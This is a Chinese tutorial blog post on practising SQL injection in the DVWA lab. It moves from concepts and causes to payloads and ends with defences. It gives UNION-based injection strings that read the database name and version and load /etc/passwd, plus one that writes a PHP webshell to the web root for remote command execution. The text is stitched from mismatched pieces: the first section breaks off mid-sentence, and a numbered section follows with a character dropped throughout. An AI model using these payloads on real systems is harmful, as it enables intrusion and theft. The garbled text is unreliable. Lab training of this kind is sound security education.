DVWA平台的sql注入学习

本文详细介绍了SQL注入的概念、原因、作用原理及其可能造成的危害,如数据泄露和系统瘫痪。同时,文章强调了避免SQL注入的方法,如参数化查询和字符过滤。以DVWA平台为例,展示了如何利用SQL注入获取敏感信息,提醒开发者注意代码安全。

概念

SQL攻击 简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的 程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,此因遭到破坏或是入侵。

原因

在应用程序中若有下列状况,则可能应用程序正暴露在SQLInjection的高风险情况下:

1.  在应用程序中使用字符串联结方式组合SQL指令。

2.  在应用程序链接数据库时使用权限过大的账户(例如很多开发人员都喜欢用sa(内置的最高权限的系统管理员账户)连接Microsoft SQL Server数据库)。

3.  在数据库中开放了不必要但权力过大的功能(例如在MicrosoftSQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)

4.  太过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。

作用原理

1.  SQL命令可查询、插入、更新、删除等,命令的串接。而以分号字符为不同命令的区别。(原本的作用是用于SubQuery或作为查询、插入、更新、删除……等的条件式)

2.  SQL命令对于传入的字符串参数是用单引号字符所包起来。《但连续2个单引号字元,在SQL资料库中,则视为字串中的一个单引号字元》

3.  SQL命令中,可以注入注解《连续

### 3.2 DVWA 中的 SQL 注入测试与实践指南 DVWA(Damn Vulnerable Web Application)是一个专为安全研究人员和渗透测试人员设计的易受击的 Web 应用程序,常用于学习和练习 Web 安全漏洞的检测与利用方法。其中,SQL 注入SQL Injection)是其核心模块之一,可用于理解实践 SQLi 击的基本原理和技术手段。 #### 3.2.1 设置与访问 DVWA 环境 在开始之前,需确保本地或远程环境中已部署好 DVWA。通常可使用 XAMPP 或 LAMP 套件进行部署,通过浏览器访问 `http://localhost/dvwa` 登录界面。首次运行时需点击“Create / Reset Database”按钮初始化数据库结构。 进入设置页面后,将安全等级(Security Level)调整为 `low`,以便于进行 SQL 注入测试。此模式下未对输入做任何过滤或转义处理,便于初学者观察击流程[^1]。 #### 3.2.2 SQL 注入基础测试流程 以 DVWA 的“SQL Injection”页面为例,用户可通过输入用户名来查询对应的用户信息。击者可以尝试注入恶意字符串以绕过逻辑判断或读取敏感数据。 ##### 示例:获取当前数据库名称 ```sql ' UNION SELECT NULL, database() -- - ``` 该语句利用了 `UNION SELECT` 将原始查询结果与注入内容合输出,借助注释符 `-- -` 忽略后续可能存在的代码片段。若应用未对输入进行有效校验,则会返回当前数据库名。 ##### 示例:获取数据库版本信息 ```sql ' UNION SELECT NULL, version() -- - ``` 该命令可获取 MySQL 版本信息,有助于进一步判断目标环境是否支持特定功能,如 `LOAD_FILE()`、`INTO OUTFILE` 等高危函数。 #### 3.2.3 利用 SQL 注入读取服务器文件 若 MySQL 配置中启用了 `local_infile` 功能,击者可尝试通过 `LOAD DATA INFILE` 或 `LOAD_FILE()` 函数读取服务器上的文件内容。例如: ```sql ' UNION SELECT NULL, LOAD_FILE('/etc/passwd') -- - ``` 此操作可读取服务器上的敏感配置文件(如 `/etc/passwd`),前提是当前数据库用户具有相应权限且文件路径存在。需要注意的是,此类行为属于非法入侵活动,在真实网络环境中实施前必须获得授权。 #### 3.2.4 利用 SQL 注入写入 WebShell 当具备写入权限时,可尝试将 PHP 代码写入 Web 目录,从而实现远程代码执行。例如: ```sql ' UNION SELECT NULL, "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' -- - ``` 成功执行后,可通过访问 `http://target/shell.php?cmd=id` 执行任意系统命令。此类击方式危害极大,应在可控实验环境中进行测试。 #### 3.2.5 防御建议与最佳实践 - **参数化查询**:使用预编译语句(Prepared Statement)替代字符串拼接,从根本上防止 SQL 注入。 - **最小权限原则**:限制数据库用户的权限,避免授予不必要的文件读写权限。 - **输入验证与过滤**:对所有用户输入进行严格校验,拒绝非法字符组合。 - **错误信息控制**:关闭详细错误输出,防止击者通过报错信息推测内部结构。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值